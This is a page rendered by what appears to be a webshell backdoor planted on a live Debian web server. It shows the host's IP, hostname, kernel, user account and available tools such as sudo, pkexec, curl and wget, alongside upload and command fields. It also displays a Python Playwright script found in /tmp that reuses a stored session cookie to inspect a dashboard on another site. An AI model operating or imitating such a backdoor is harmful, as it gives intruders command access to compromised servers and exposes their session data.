403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/cockpit_check.py
import re
from playwright.sync_api import sync_playwright
# Session-Cookie aus curl-Jar lesen
sid=None
for ln in open('/tmp/ck.txt'):
    if 'seaside.pacim.de' in ln and ('PHPSESSID' in ln or 'sess' in ln.lower()):
        parts=ln.split('\t')
        if len(parts)>=7: sid=(parts[5],parts[6].strip())
with sync_playwright() as p:
    b=p.chromium.launch(headless=True); ctx=b.new_context(ignore_https_errors=True)
    if sid: ctx.add_cookies([{'name':sid[0],'value':sid[1],'domain':'seaside.pacim.de','path':'/'}])
    pg=ctx.new_page()
    calls=[]
    pg.on('request', lambda r: calls.append(r.url) if 'cockpit-api.php' in r.url else None)
    pg.goto('https://seaside.pacim.de/', wait_until='networkidle', timeout=45000)
    pg.wait_for_timeout(2500)
    season=pg.eval_on_selector('#kpiSeasonTotal','e=>e.textContent') if pg.query_selector('#kpiSeasonTotal') else '(fehlt)'
    inv=pg.eval_on_selector('#kpiInvTotal','e=>e.textContent') if pg.query_selector('#kpiInvTotal') else '(fehlt)'
    slides=pg.eval_on_selector_all('.evt-slide','els=>els.length')
    recent=pg.eval_on_selector_all('#cockpitRecentBody tr','els=>els.length')
    chart=pg.eval_on_selector_all('#booking-chart svg','els=>els.length')
    print('cockpit-api Requests:', len(calls))
    for c in calls: print('  ', re.sub(r'^https://seaside.pacim.de','',c))
    print('Saison-KPI:', season, '| Inventar-KPI:', inv)
    print('Event-Slides:', slides, '| Recent-Zeilen:', recent, '| Chart-SVG:', chart)
    b.close()

Youez - 2016 - github.com/yon3zu
LinuXploit